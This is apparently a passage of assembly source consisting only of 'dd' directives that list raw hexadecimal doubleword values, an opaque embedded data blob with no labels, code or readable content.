76BC94E7h, 0CBFD2FE0h, 0EAFCC020h dd 0ADDF0E70h, 0D701D0B2h, 0F263C5EDh, 103E60C0h, 87A09F3Fh dd 957FFDD6h, 0C05DBCA2h, 0C86A25h, 70232D0Bh, 32BBBFE7h dd 0C287DD09h, 25C00EB3h, 9C936F9Eh, 0E7098A8h, 816913DBh dd 6C9A1417h, 9552D400h, 3CFBECE6h, 61C9EB00h, 5919BFFCh dd 2A40757h, 0B0D625EDh, 83B8B3D1h, 6F69D400h, 0DB9C3ABCh dd 0C30B00A6h, 80A192A5h, 222C50D1h, 841210ACh, 90158300h dd 0FBF4E35h, 1F304C88h, 555303A0h, 3B0046E1h, 98930A79h dd 380BDBEh, 0C15C622h, 0D2C86206h, 61004FBFh, 8BCA842Ah dd 0F040C0h, 3C50ECACh, 0A1439349h, 0B1AAB000h, 0B25C87DCh dd 52F60061h, 398E547Dh, 60FB7C1Fh, 0F8000DE4h, 8DA692D8h dd 0E1B463h, 2127E38h, 0AC1EED7Dh, 0E329E600h, 0CBEF54F9h dd 999F002Ah, 60A16785h, 0C41FFEB7h, 3F800E1Eh, 0ECF3311Dh dd 0AAD90362h, 0F5AC1FEAh, 7CE0FFE0h, 9BC5B900h, 9DD85868h dd 9C3D02DBh, 0C9274349h, 7804F881h, 0CAB6DC28h, 0A088E817h dd 8AABC000h, 0C6C27Eh, 0B5D7C41Eh, 9D08206Eh, 45C58200h dd 105E0EFFh, 0DAA50033h, 93B7EF77h, 99FAD50Bh, 63F8B550h dd 4B5806F4h, 13028374h, 7EFCA8C5h, 60595CD6h, 166BCF0Bh dd 5E14A400h, 0A60095D0h, 53859D30h, 75E3DAD8h, 9B630009h dd 7210BAC4h, 650F3AE2h, 8F6EB743h, 23B180E3h, 0B4B1BBDh dd 0E7DB9F27h, 88FE1000h, 0D4035CB7h, 61D533CFh, 521BD0DAh dd 34372AAh, 60DCA8FFh, 0A2F06621h, 23028846h, 0E7C49694h dd 0DC48481Bh, 0E5E008Dh, 7304CA7Fh, 960368B3h, 5FC12688h dd 0EE8FD9E5h, 0F0181620h, 9D9B0B81h, 54A0D742h, 6F1AD9C2h dd 0A6556E00h, 0A36328A8h, 84890BFh, 0CA8BEDBCh, 0AAF63880h dd 0D78212h, 0BDF7890Dh, 0E02C62E3h, 0C00E040Bh, 6C108748h dd 8B7DF40h, 46DD0025h, 0A6A1F1BEh, 1C1D5E42h, 1305E932h dd 481D4D5h, 0B3101D03h, 230C336Eh, 0F0FB18F9h, 3D37010Ch dd 9492E671h, 0E06EC979h, 0A5009099h, 0C40B7FD1h, 933C91h dd 0F1A7567Ch, 480363CCh, 0DEB6F000h, 60645C9Eh, 0AC11002Ah dd 37AE4339h, 9200BE57h, 8C3623BDh, 0F873338h, 1C2234F9h dd 0EB41620h, 7909A4B6h, 8F645B54h, 9EBC002Eh, 73D4243Ah dd 1D5A0055h, 0CC2561E1h, 0B008ED0h, 0EFA6FA72h, 169BC1FFh dd 20D86C2Eh, 0E18FE474h, 0CFAB2000h, 9C3461A4h, 286900D0h dd 4CEB2B7Ah, 97031B95h, 30C73D9h, 8E5AB0F9h, 3FC60071h dd 6A5DFFA8h, 0E73EC54Dh, 98CA85EDh, 0B4920C13h, 75E08049h dd 3108BD0Ah, 0CA78D23Eh, 7DB06227h, 0C80E25F0h, 60C09F5Fh dd 0EB0928B0h, 1D680022h, 0F64959FEh, 8300E89Ch, 410BDE65h dd 0A0C8BD4Ah, 1DF1080h, 0B751150Ch, 0C4D2BBACh, 0FB00916Fh dd 0FF3A18A8h, 0A91AE1h, 45BAC54Fh, 5B4213F2h, 5000C1E6h dd 0F94AEE20h, 3975952h, 31444EF3h, 9A00063Fh, 8B64BD74h dd 0C5D2E17Eh, 80964760h, 0F1E0BE25h, 92AB0600h, 0BC3B74A5h dd 0EC425893h, 3AD3B724h, 0ECA65A80h, 51049F2Bh, 8318FE1Eh dd 0A8483480h, 3A4EBDh, 31EC78Eh, 0B9FA9AB0h, 320018B0h dd 13D1AF39h, 1D98A5DCh, 0C01F1EF9h, 551BB389h, 0D6FCF888h dd 9007A800h, 61E39D9Fh, 0CB6316Fh, 0D90B2A10h, 6ADCE85Dh dd 0C98BF7Ah, 0C1B3B11Bh, 0EE880FF2h, 138225AFh, 0F042DC5Ch dd 9AABF8B0h, 0F500FCB0h, 83E60E3Ch, 0BA254Ch, 81B39CBFh dd 13F4B1E4h, 6DDCA407h, 1F400403h, 1AD8EDDh, 1B180FF5h dd 6040C382h, 5B3A0696h, 31598051h, 0B3F3B955h, 3490BDh dd 9C892ACCh, 80F22462h, 86BEEF12h, 1C0E4C07h, 0B0C53080h dd 0FEE1003Fh, 3B8979DFh, 4F044478h, 0DF1ECB2h, 621E6CC5h dd 0DAC01B1Fh, 0A17664C9h, 40E3DE8h, 3BCEB380h, 58F0CDABh dd 0EC131518h, 198A0h, 0DFEEC7AFh, 37C3DB39h, 0A8A36426h dd 7320B607h, 0D83E6E83h, 1C9D985h, 0AE192FFBh, 403678EEh dd 445F7EFAh, 13CC9019h, 0F0E74A39h, 789DBEF6h, 7B1C0750h dd 8E4C297Eh, 821E5D0Eh, 0EB11371Fh, 0A7C0E4C0h, 97BA5A00h dd 8D020387h, 0C21F0128h, 427967AAh, 0FC3AC18Bh, 0C03438Ah dd 25A180E1h, 2ED6983Ch, 7D4C0334h, 94D3BF2Fh, 8CC4703Fh dd 11D227F3h, 0E48B00E6h, 9D071EA6h, 0B405A286h, 0BA405C3Ch dd 11045780h, 0AED4008Ah, 0A242CCCDh, 35C4EC2h, 0B0487E93h dd 39A50020h, 8386727Dh, 0D10A1999h, 0F8821993h, 0E0F58ECh dd 601E2A0Fh, 4E30101Ah, 94F20671h, 882D3277h, 0FA297400h dd 830BCA73h, 0DD8000F5h, 68B6AD79h, 0C200760Dh, 0F49354E8h dd 0E2A0ACh, 0BB4D2B15h, 0EF23CB2Fh, 0B5E7ED01h, 0E5F3EA7Ah dd 16DD1C20h, 83B86A8Ah, 4C84C10h, 17905D79h, 37B61800h dd 0F5F21348h, 45BAC0FBh, 0C45D3A56h, 19FED21Dh, 63628C4h dd 1A8650D0h, 0BE8E002Fh, 0E4A608Ah, 7507E8C6h, 2C612658h dd 292E0E1h, 7966DCh, 0ACBE0415h, 0CD1A0C4Ah, 0B9868201h dd 0D44BB427h, 0FA324830h, 0C35201DBh, 0F91E6A18h, 0D86881B3h dd 7874C23Eh, 39E4A5FCh, 0A985574Bh, 0B49082B6h, 91984704h dd 0BE10E360h, 5811E0FEh, 5501D07Eh, 2A5DC8A4h, 75DDCCDBh dd 0D9D12B0Fh, 6584409Dh, 0E27073Fh, 0B163F556h, 0DD5C0140h dd 0FC39ED8Fh, 0E474801Ch, 3A7F6BA2h, 84930B0Ch, 3860A5C2h dd 0E09C4BA9h, 6554CE40h, 57EC00C0h, 0B745A148h, 7100430Ah dd 0B6359F3Ah, 28CCAACh, 517B5F63h, 4400149h, 830F7E59h dd 436AC421h, 22B699C1h, 8402EFC8h, 3CE497C5h, 0C06407h dd 95527116h, 0F430984Ch, 7F06F500h, 84697953h, 39BE00DEh dd 0C6FED696h, 4C5C4B55h, 4E924A6h, 0F3049C00h, 1E783F8Eh dd 0FA7E32h, 0FD52B4BAh, 6A00243Bh, 904F5F92h, 0AD9957h dd 0F163C177h, 5D86216h, 0D926F000h, 0DDB00C67h, 0E4E8016Bh dd 751AA89h, 0C880E6C6h, 48775EBh, 0AC00957Ah, 8B67F0A2h dd 2BE5B2Eh, 0A8B6C921h, 0F406677h, 2B00118Dh, 8CC6BB20h dd 0EAD304h, 0A3F7ACE4h, 3593B37Ch, 801A832Dh, 9149E35Ch dd 0F1FB12DDh, 3DF43039h, 2000BF08h, 185B330Eh, 689C84h dd 3CF7B2D4h, 21A3CCEBh, 738B9B3Ch, 384A6900h, 0F9D1E0FFh dd 0BB5C000Ah, 0BF8AF664h, 0D2006741h, 4EA382BDh, 0F20407B2h dd 58FD4C89h, 10BE7705h, 0A501806Ch, 562E1145h, 1006DE5h dd 0B732DF21h, 466807EDh, 0D624DAB4h, 6D0038FCh, 1EDECB02h dd 0F48C4B1Ah, 4C960157h dd 19F46894h, 0BDA2600Fh, 0CA58900h, 0B0FA53ABh, 542B0063h dd 0E06285D8h, 4F00BFE7h, 0F0DACF58h, 352844Dh, 0DD982F81h dd 2A93A11Fh, 0A5A43BB8h, 0CE00A673h, 80068550h, 1DF38B0h dd 924D4915h, 0CCB9166Ah, 651E5993h, 0A140E453h, 4340834Bh dd 0C66600F6h, 281098A0h, 0C01738D1h, 0D800CCB8h, 0DB347530h dd 7ADA00B3h, 529325F4h, 80004EFAh, 0E9C5BE70h, 5E45E4h dd 9BB21B1Ah, 980E2C9Ch, 0A6B44C03h, 0C88B4FA8h, 0C0F9ADACh dd 6D7CB511h, 500F74B7h, 400FAEE6h, 1BB10C64h, 26000FDh dd 0A3529256h, 32127619h, 0C0410B5Ch, 5ACA573Fh, 592AB040h dd 50AA0011h, 0C7F9A45Bh, 7800F3BBh, 41938739h, 58C2FCD2h dd 0D900649Dh, 1630581Ch, 3400B84Eh, 0A04B0D47h, 0C7093Dh dd 2E69BBFh, 7F18A5D2h, 1F8B3503h, 0C866BD5Ch, 729A61h dd 0FCD3005h, 7C33CFF2h, 35006EF0h, 61CB044Ch, 138C4180h dd 0C0F6ABF4h, 980F2AF4h, 4CA9C600h, 0A8060D5Dh, 10633CC0h dd 3C304D80h, 7275FF9Ch, 0CEC2D10Bh, 9388344h, 0E870DBA8h dd 18C3E042h, 50A34AEFh, 0C5247A7Eh, 3900E8D0h, 2A6BD3D2h dd 0BA200081h, 0A1C2EEABh, 0A92DE168h, 0EAF8207Eh, 0F00E21h dd 0F535084h, 0C5A7B9F4h, 8967BB7Bh, 208FD170h, 0A8D25D62h dd 0D885004Dh, 0A1F08A8Fh, 5218E2DCh, 75329170h, 12580047h dd 0DE6330B2h, 2102B4E9h, 15A8C6B7h, 7AB080DCh, 13D8B902h dd 49B1C455h, 604846D4h, 3948CF19h, 30C20184h, 0D9DD87F2h dd 4027020h, 0F1E82D3Ah, 48B8C117h, 0B19108Ch, 1382769Dh dd 80914443h, 0A5D0434h, 0E100CFE2h, 1FA4DCBFh, 145237EAh dd 9884FE09h, 0BAD2A600h, 0CA5CF375h, 87425D3Ah, 0E61ABC7Fh dd 1BA04EB0h, 0B7330315h, 900BA9FEh, 655504D0h, 91E413Eh dd 80AF1F66h, 0B5298065h, 8E6E0020h, 95D8F39Fh, 8900BA2Bh dd 6055B714h, 90AE6D4Eh, 13F20090h, 40E6C5DDh, 260B19DBh dd 2C02AA7h, 0E01DCC6Ch, 0D3AF96h, 78A322D4h, 4B91B8A6h dd 0C51C3000h, 6B6DFE29h, 251EE28h, 2731CDEBh, 74C32201h dd 7E5F84F8h, 19969A00h, 0A52D7339h, 4C4F00A9h, 9E97DC3Dh dd 0D000D422h, 37C9EE7Fh, 9E59Ch, 1EA23FE4h, 67B6406Ah dd 78E28100h, 66AE4295h, 34270285h, 1E79A55Bh, 80ED44E0h dd 0E8E1DA00h, 7C85D467h, 4C68002Ch, 144E2DB1h, 0CA0242F2h dd 0A905C65Fh, 37244035h, 0DFF109D6h, 6CE0147Ch, 2200F9CFh dd 4677C348h, 630497h, 8C4C8044h, 8B8FD971h, 8122993Ah dd 36B52E86h, 803155AAh, 1A266E0h, 70A6BA1Dh, 89225FE7h dd 80C0F718h, 993BF616h, 15C61224h, 9BAC0B54h, 48C2B000h dd 935D4A01h, 14120F58h, 0DB44836Fh, 0C8F48CCBh, 4F2F1F38h dd 0B0E6C0E8h, 0B2E7A81Ch, 25C85660h, 90E2DE4h, 0B36EACB9h dd 0C0446B04h, 0EACAF1FCh, 0D90C35EEh, 3064606Ah, 9933C9Ah dd 0C901F00Ch, 8E004A28h, 287079AEh, 2E2E54B0h, 6410EE60h dd 74AE806Bh, 7A012568h, 0B8D4A607h, 2C70FDFBh, 92AB00A7h dd 8D9C5865h, 0E6F040D1h, 8BFA2000h, 6BE26F4Fh, 41E800A7h dd 8DF7A064h, 0CF004D92h, 27E311FFh, 2DC438h, 76238547h dd 8388349Ch, 0F2795F09h, 0FC804B1h, 18D884C0h, 0A7800086h dd 61CF4263h, 0C2070ACCh, 0E0BF2AFDh, 0C8D3E1C0h, 177073Ch dd 80B9825Dh, 0A0F19210h, 8303807h, 8F31B77Ch, 0D460B426h dd 0C6930E1Fh, 3FC0FBDCh, 0B2F4FA0h, 483DE400h, 0A9A14B19h dd 518D1252h, 0D5340F37h, 7AE9D100h, 0E84E0928h, 5BD33E0h dd 0CFABC51Ah, 5CF255h, 0B4AE19FFh, 0B3734Fh, 0EF9594F4h dd 0E6B70637h, 692A7A00h, 0F7F3EE90h, 2FA80057h, 92DFBF2Dh dd 3500238Ch, 0DB7DD8BDh, 0EF69A1h, 13E5C04Fh, 0A7306073h dd 3C9E8900h, 1E545C1Dh, 1320F422h, 90F46CEDh, 64AFB1D8h dd 44B6E903h, 0B83458C3h, 1DF153h, 0F7E1A9D3h, 0EE718E59h dd 408BF00h, 8C74105Eh, 17670039h, 0FCE1E8E4h, 5100663Ah dd 354AE9BFh, 6049D12h, 33DC80Eh, 79025809h, 0F9787F74h dd 68A06899h, 8D5F0095h, 5259DEAFh, 0D503FC25h, 281EE2E4h dd 9008A8FFh, 5D7F0081h, 0DE99BD6Eh, 0EA00FDCAh, 706F067Ah dd 1FABD90Bh, 0C033DBC0h, 4BF969D4h, 0C43AC724h, 94CC83BFh dd 0E90B82B8h, 798386E3h, 62C5B00Dh, 0B1CDF4F0h, 0C76DA601h dd 0C49D1056h, 460CD428h, 1131875Fh, 9261C07h, 0DD403C18h dd 0F84A27BEh, 6018C417h, 9214A0FCh, 4D150B00h, 2F5FA3EDh dd 72F90090h, 8CE5FD37h, 5000AB8Eh, 5576D7A0h, 500FB1BDh dd 7443894h, 1D0B875Ah, 26E0CEB2h, 453B7AFh, 0D04E4B00h dd 1E9AE746h, 0C04078A7h, 0E60B7F41h, 40A0C963h, 6D03865Dh dd 9240C12h, 9CB00236h, 7D46BF18h, 9F0F6882h, 99D03C80h dd 670E5CA7h, 80FAE77Fh, 0BB4438A6h, 0C7890754h, 909AC6CDh dd 0FFA2756Fh, 0A706201h, 0D3B652ECh, 0D669C8h, 0F4509372h dd 0FC172180h, 1060848h, 247FE857h, 0C820E43Fh, 0A88D00DEh dd 755FF552h, 0C60023FFh, 0E4C8A7C4h, 830338h, 4B5C3E7Eh dd 0EBFA4787h, 0A7009590h, 0B6F91EFEh, 4DA5C0h, 8CC622BEh dd 4B6D45FBh, 0C95099A1h, 2E24191h, 4E93EC5Ch, 0B2E02600h dd 8D23EAE6h, 354C09E5h, 7C05666Ah, 3B844098h, 536C72C8h dd 0AEAC9600h, 57466EC7h, 0FE6B0D01h, 0C0299D68h, 82012522h dd 5B6D37D7h, 7D97FB6h, 18C9FD60h, 286C66A0h, 2DF87199h dd 0DE8EC00h, 0C4B00FBEh, 8ECE00ADh, 555FBAA1h, 75019BD9h dd 8FBD1336h, 68C47F33h, 60B51ED3h, 10BBC0CEh, 0BAA3C467h dd 1CEA0F00h, 0CA208FD2h, 0B1B015Eh, 0EB0E78B6h, 8011E5C4h dd 0ECCB92A1h, 71CFFA60h, 5F9A0709h, 25A9B612h, 6300C0A3h dd 0D1012953h, 464EC6D0h, 65D01CBAh, 2E6B3E1Eh, 0B3801D01h dd 0DCC89B45h, 0C9004D4Bh, 0DC0163AAh, 3C04153h, 48680647h dd 1DA321DFh, 0D5842100h, 26451E53h, 500961B9h, 9F44E4F8h dd 0EA993A21h, 0E9E85019h, 45B00C30h, 0BA20C6ADh, 194FF33Eh dd 61182749h, 0F4C03980h, 6B1975A1h, 0B2872600h, 0F7E35970h dd 0C0E175FBh, 0CDF8D650h, 4506AFA5h, 726A1B66h, 0A2B40031h dd 0A037B08Ch, 0F518A7C8h, 0BA609715h, 595C0003h, 72A2D34h dd 4DECB4FFh, 9030A376h, 5B049232h, 5ED307ABh, 40E1558Ch dd 0BC17F57h, 94D02001h, 9EABC303h, 0B6D3C2C9h, 235C0121h dd 77E7E120h, 0C03F70AEh, 4732580Fh, 96ABC0C9h, 9049EEh dd 7DF965BCh, 7F6086ECh, 0D4B760C0h, 1DD60BDEh, 8E6B03D1h dd 0A68C8AE9h, 0FA00FC21h, 9CFECBA0h, 0B4FB6B7h, 0AF31A335h dd 0E6020100h, 0CF00E17Dh, 73A78341h, 74A36CBAh, 0A120D9D1h dd 0FCA0DBE1h, 11C067B5h, 656F04BEh, 49EB0602h, 8A2DA1Dh dd 2063E030h, 756E8C93h, 1CCE00D7h, 0BED209F8h, 0E2815C4h dd 0EE466486h, 91A1B602h, 0E1C21D6h, 14A0049Eh, 0D9C067E0h dd 11102CDFh, 6B008DCDh, 7490A3CAh, 1E0AC1BAh, 0C0A94EF5h dd 28039F80h, 0B8F42CE9h, 642E1DD0h, 21981BCBh, 3E27F0E8h dd 0AE934300h, 0C7A9D2BAh, 4CE3444Eh, 31B0D902h, 0E0CD3247h dd 5879A412h, 5E02451Fh, 0BCAC3B64h, 0B098D487h, 0F02A058h dd 9EF63400h, 9B730933h, 1D663B38h, 7254EB85h, 0B0043E2Dh dd 0CB493ED2h, 0A9078E10h, 0C58CC03Ah, 507406C4h, 763C437Fh dd 8825807Fh, 798DA6CFh, 0EA957055h, 71E310Dh, 3E9728h dd 76998D3h, 79D82F29h dd 1FFAB128h, 7BF1DC2Eh, 0C2A38h, 64584D7Dh, 0C670194h dd 6915F88Fh, 0B005B08h, 1842960Ah, 1D12AF4h, 8AD41268h dd 0D8FC1EE9h, 790071D0h, 41444384h, 287578h, 1D5CD8E5h dd 6C8A190Dh, 5E2E8E01h, 0F71FD9C7h, 14F0D0h, 0B8BC18BDh dd 0F983F68Fh, 8B79AB00h, 93B50DB1h, 61AD0001h, 7C36A165h dd 4103A20Fh, 0A8AA8EE7h, 0C95BA8C2h, 0D7694C1Dh, 0F195E000h dd 0E4484C70h, 0F79CBA00h, 7A381A60h, 81CA0075h, 85BC5C44h dd 950083B8h, 0A6C0D109h, 40AAEAh, 0DAE70AACh, 3331A714h dd 8823E800h, 0F0A4FC2Ah, 58380046h, 0D02E34CFh, 0C10761A9h dd 26E53CE8h, 1DF0E7C7h, 1CCC46h, 0D9CBB420h, 0D38D70D4h dd 0CD678E01h, 4EEB9759h, 9EF09840h, 2DDC3BF5h, 0E2DD2701h dd 0CD81DF0Fh, 8E7D7008h, 0CD7A6A00h, 6CFE7793h, 0C0F03F38h dd 17CFA400h, 786825E1h, 91764512h, 0E899F00h, 3B2377h dd 0B584F387h, 7945DF36h, 0BF094AFCh, 3738D88h, 0E351E82Ch dd 3D58833h, 61A300B3h, 0F386380Fh, 2F019C6Bh, 75344210h dd 5880CC55h, 8EE9DF98h, 0F800D70Ah, 3746823Bh, 0E8EE66A4h dd 0C77213h, 0F626C995h, 0C1A6A70Bh, 9BBF7300h, 0A468E8DBh dd 0DDE483h, 571F17C9h, 942D10Bh, 16070877h, 8F5BAF3Fh dd 0D4FB900h, 24CE485Fh, 51DBD409h, 0A9025E00h, 0C1CFAA55h dd 0E3EAE72Fh, 4E67FD80h, 85BB0054h, 683BC0ACh, 31756BE6h dd 0CBC9DB00h, 5436441Dh, 0FFF10004h, 0ABBAC5B8h, 8A00B46Bh dd 0A696E72Dh, 3F0CA0C0h, 8C8029DBh, 0BC6C3554h, 4F1EEF82h dd 968063DFh, 5A33F1CEh, 66DA0046h, 283CEE64h, 0D10E95CFh dd 2898F0Ah, 80CD176Fh, 31073998h, 147300E0h, 15DAF161h dd 4F5C1E30h, 0E5D600DFh, 95B3352Ch, 0DDCB2460h, 58B1016Dh dd 0C8C0871Eh, 30FE8493h, 0B5A7B38h, 8068BBF4h, 8D375FF8h dd 4904C60h, 2D6D5401h, 3046AEF9h, 0D0001984h, 45659D25h dd 372A889h, 0E3835D8Eh, 98034A69h, 0C8AA3835h, 85A1CA7Ah dd 428051B8h, 0B0FEE4h, 322D678Bh, 0B8339681h, 2F0FA079h dd 0A128E3Ch, 0CF009475h, 99EBBC03h, 1B881C15h, 0C487014h dd 0BF16DE24h, 0D80E391Eh, 6DD84077h, 3D16F01Ch, 0D9002E18h dd 0A382C35Eh, 0F601139Bh, 99922666h, 19C0D1DFh, 0D96A60EFh dd 4D9C2D3Eh, 7100CFECh, 60C4BC17h, 3B395051h, 3B9E258Fh dd 7F3AC036h, 8E19313Ch, 4373140Ch, 1ADE8A9h, 5E1365Bh dd 0F841A716h, 0C0298878h, 0CF86ECA4h, 0E7718F9Ah, 0C7A3B400h dd 0BBBAB30Fh, 8BD2090h, 0A37462DAh, 1F46B0F8h, 0A70101D0h dd 690736BAh, 620CF0D6h, 18BDCB24h, 0E8566163h, 0F07EA04h dd 435ED0DBh, 291C5320h, 2B0095A0h, 10A70F51h, 0D38CABh dd 79245E64h, 8A9A77A5h, 887F0E00h, 0ED89C0CEh, 55B7001Eh dd 353D8DD4h, 11314E40h, 1C7A40A5h, 3BB0F4h, 2A63AE80h dd 0E6C1F6BCh, 1D9FA614h, 0CF00094h, 0D0BE40A3h, 0BC0B072Ah dd 704DA168h, 0D15FB918h, 2481F326h, 230F3300h, 13FF4A92h dd 291076Eh, 0C6B812D8h, 97742060h, 18406489h, 144477A1h dd 0BCCE1C05h, 0F68AC809h, 0D4209020h, 5E12C983h, 8C4010AEh dd 0FB50F80Fh, 6227460h, 9CF72E12h, 5978486Ah, 0DD89850h dd 2B5C4800h, 0C8E160FEh, 0BD50C073h, 119FF5A9h, 56AF1902h dd 0BBC1104Ah, 1A33F2E8h, 0BD0A20A1h, 6E588073h, 34D8E253h dd 57DF0040h, 4960DEBAh, 9A60558Ah, 313352F8h, 0D6AE1CCDh dd 0D72C018h, 0D5FD7C9Dh, 88671330h, 0F398DB2Ah, 0FC563E60h dd 25B090h, 0C15371D6h, 0A2CEBD09h, 58169B90h, 0E4409434h dd 4A78CF19h, 0AA5B07A7h, 31F92C5Dh, 80C410EAh, 865AA2E1h dd 3911CA9Dh, 89000477h, 9730E940h, 6C014D29h, 0D2069F14h dd 6160A3D4h, 0C9823B80h, 0CF8D2F80h, 0ED0E9218h, 0ECC69800h dd 8565D0DDh, 0FF490154h, 8172C53h, 7F824024h, 0FD06AE20h dd 0EA54C9FEh, 301D03A0h, 0C674D258h, 0CAF39000h, 0DBEA5A2h dd 167100EAh, 0AA88D9A6h, 0BB0A4784h, 0D8791E4Ah, 0B6FC5980h dd 269DC085h, 3080775h, 0A6D8AF74h, 0D3FCE0FBh, 9AC0050Ch dd 0AC7477ADh, 3FD21300h, 0F1346CF8h, 58700E0h, 0E988E102h dd 43244167h, 58B83899h, 0C0AA7AE7h, 97BB9485h, 0ADEF4078h dd 0D754E95Ch, 580B6878h, 40CBC45h, 0FCC0F02Ch, 4CB65C14h dd 36004C08h, 2989ADDDh, 0A01F9F47h, 5A802B97h, 6B8B7FC2h dd 0F65D18CCh, 23477146h, 1EFA8A16h, 50BA5C00h, 0EE966CC2h dd 281DF871h, 0F00233h, 0D40C1C15h, 0E2B0D165h, 0E6DC40EDh dd 411DEE26h, 0B9DF5F37h, 34178C00h, 1377310Eh, 786295h dd 18CB3035h, 0D8C05738h, 0BC94CAEBh, 0A8DE02A3h, 0C6C38783h dd 0E5B7AC80h, 4DB88FA6h, 8FFE493Ch, 0A05A267Bh, 2D48CABFh dd 0B70B0040h, 6125CC4Ch, 911669EEh, 8007F2Ah, 0A35537E1h dd 343B0043h, 0FB339728h, 0B5EAF9DEh, 761CBB07h, 0F3101E64h dd 0B113D4h, 0E112AD47h, 72F4AF92h, 81A4F700h, 954CC1DEh dd 34BF3D11h, 73FADA00h, 4978569Ah, 24A078B8h, 0E840A854h dd 14DF0057h, 0D60496F2h, 41241CF3h, 0EC123CD1h, 11345000h dd 0E01B7EA7h, 29870A7Fh, 8EC01721h, 8FC0F73Dh, 251476AFh dd 0C9FC42B0h, 0D1CE0D00h, 5C06212Bh, 0CAD034Dh, 0BFA8E8DFh dd 6088B0C8h, 0B864C82Ch, 0D5BE5B01h, 2CC05024h, 5CA500DEh dd 0EADA33A6h, 0B3E8BA8Ah, 0FC096C00h, 7D2D02F1h, 11936056h dd 0D8DA5AAAh, 64156F07h, 2D444677h, 94039CC0h, 277600A6h dd 9C929A20h, 0F07C3C7h, 0E2CD14F7h, 0EF804BF4h, 0E5471A3h dd 0FD9029B4h, 917B0D65h, 3227703Ch, 7AC2204h, 0C00F522Ah dd 0A73300CAh, 290E2446h, 2DE9F83h, 805BB1FCh, 0E2328220h dd 709A6Eh, 2858227Ch, 9E7DA047h, 0AFFE7700h, 12E9B8A2h dd 0B8490F4h, 0EDCA80CFh, 0BA68ECA0h, 0FD2624B0h, 7D003E02h dd 0D0986365h, 3A49938h, 73EC47D3h, 0B0299690h, 13E0C3Dh dd 42A00F02h, 0D450A64Fh, 6079EAA7h, 0E64E6908h, 9859BDADh dd 333B84F0h, 0F0985926h, 5B0B9A26h, 0FA367300h, 12500778h dd 41ADF1h, 0B2E1360h, 0CC3BD8FCh, 5834DC1Eh, 14F01D1h dd 87817AB9h, 74EC24h, 757661AAh, 71A409D6h, 55C498DDh dd 3F814B31h, 40ECB0F6h, 0CFB4D12h, 0E638F40Eh, 0F482E06Bh dd 14509C64h, 0AC4E8F00h, 0CD01CF5Fh, 0C998A8B2h, 3C1B04E5h dd 1219185Bh, 78385000h, 0E296232h, 85E163D0h, 20E80BCh dd 18ECB107h, 74F29024h, 40C0311Eh, 3EA1E82h, 1EA09A68h dd 248F729h, 3059AA2Ah, 0A97954E8h, 0A87F1C2Ah, 0C6F67102h dd 0A0D36997h, 769F80C4h, 955104EEh, 49392645h, 3CF4801Ch dd 67FA684Ah, 0ECE9F9h, 0E7766F3Eh, 0C300949Ah, 501FB93Ah dd 2B53B7Ch, 2D725531h, 0A8524787h, 1282F001h, 44F83032h dd 0BE4030h, 6FBDAF56h, 3FE4EA0Bh, 0D409E528h, 1C08D100h dd 356071D5h, 337E012h, 67D3C33Dh, 92E089A1h, 214D33A9h dd 918609B8h, 79810CAFh, 121A8073h, 0A9655200h, 0B3AB71E5h dd 7EC0C1AEh, 0E41E1DCDh, 0E224DECEh, 9F00F797h, 52C001D6h dd 587AA4h, 0DD778081h, 19E96531h, 3F63C13Dh, 0AC9B2EE0h dd 0C74AD920h, 0D8800465h, 0E602D50Bh, 7E1B01E8h, 0EAF0C950h dd 80D0551Ch, 0AE4C2ABBh, 0AFFB4E05h, 68D0F42Bh, 12835F2Fh dd 80DEA4A2h, 0E49D92E0h, 5DB77D00h, 0BE6BE5A5h, 95FF007Ch dd 6F50B3BFh, 0CD017564h dd 42A8A122h, 8BE8BC7Bh, 9CB500E8h, 25378557h, 36002FCFh dd 0A797908Ch, 89E113h, 0D23259BFh, 0AEA1FB95h, 67ADD005h dd 0CC1E3153h, 0D4F26282h, 0DF5AE05Fh, 0CB5E008Bh, 0AF29484Ah dd 68E0307Fh, 98113Ch, 0FAA7C24Ch, 50128EEEh, 3885B0F9h dd 3592D923h, 13244277h, 80839904h, 0F112D08Ah, 48460C1Eh dd 742941D8h, 0EE4098A0h, 0E9DC304Ah, 0B986BDE5h, 0FA660B07h dd 0DEE065E0h, 0D8A02Dh, 57076C9Fh, 88F301D2h, 6946B90Fh dd 720D8696h, 9E3F0042h, 0E5BEFB1Ah, 0C5024A4Fh, 504E6AA5h dd 407C6153h, 0E85182FCh, 0DFE9002Dh, 0BD4F2741h, 22008B43h dd 56F3EB69h, 392A61E4h, 9A06D814h, 8150A0Dh, 0A71F9C00h dd 7021EFDBh, 0DE45008Dh, 0FBDEB7Eh, 5448997Ch, 0CDA6007Ch dd 0FD5F9FADh, 0C1020931h, 6835694h, 17889CCCh, 2714F3B8h dd 0C0A468h, 0B0EA04D8h, 3F10F60Eh, 0C480E6F5h, 57AA289Ch dd 9700C14Ah, 0F808DAF4h, 39D59CEh, 0E02CA023h, 27C83D71h dd 8B00A883h, 4F4AB1E9h, 710A75BFh, 68A607C0h, 0DB7EF2D6h dd 85980E00h, 5700F10Fh, 910CF5A3h, 4CD87D05h, 9A000868h dd 486F2766h, 93003FEAh, 1F29B09Dh, 3B7082h, 433CA75Eh dd 0EEC987C5h, 17B7D00h, 3A64DA42h, 85E4008Ch, 0E2B2F338h dd 2800CA2Fh, 0B81CFB15h, 0CB4AAAh, 0F51A490Ch, 22E5127Ch dd 0BDEA8900h, 576EF33Eh, 0BA403A7Bh, 5419A600h, 0E2108CB3h dd 6B5E6F00h, 92BFE38Bh, 30F8003Eh, 0AC6A634Ah, 9100EC8Dh dd 0C9F9BB1Fh, 0BAF1EDh, 8BE24521h, 0F6EE005h, 966DDC13h dd 0F4064100h, 7B9856h, 3CFF7F64h, 0AEC3FE26h, 4096216h dd 0D68B9B05h, 710027C5h, 3D4264D9h, 0C8E70314h, 0FF1FAFCBh dd 0F5F94000h, 1D08ACC6h, 0C51E00E4h, 20033836h, 8209A89Eh dd 805B7126h, 4942BD1Ah, 148D0043h, 0F201EF73h, 0F9007420h dd 0ECB24C24h, 0C0D14852h, 0FAAD7EA0h, 0F0F70E8Bh, 86138881h dd 70455BC3h, 4A80A964h, 419C61h, 0BA76FCFh, 5F9B1878h dd 9879DC00h, 1DF0DD50h, 5C8A0AD2h, 4D431h, 0C626E1FCh dd 171FE056h, 0DF00B59Bh, 0EDA4C124h, 0D0D72789h, 4614481h dd 0D4887066h, 0DA67FB0Fh, 9DC5008Bh, 5C1ADCh, 0E8B69070h dd 0C65A8E06h, 0E6C33700h, 0AC640930h, 0CBA63F5Dh, 0C4527609h dd 4EF3BC00h, 9B1DD656h, 3340C5C3h, 97857405h, 8060E998h 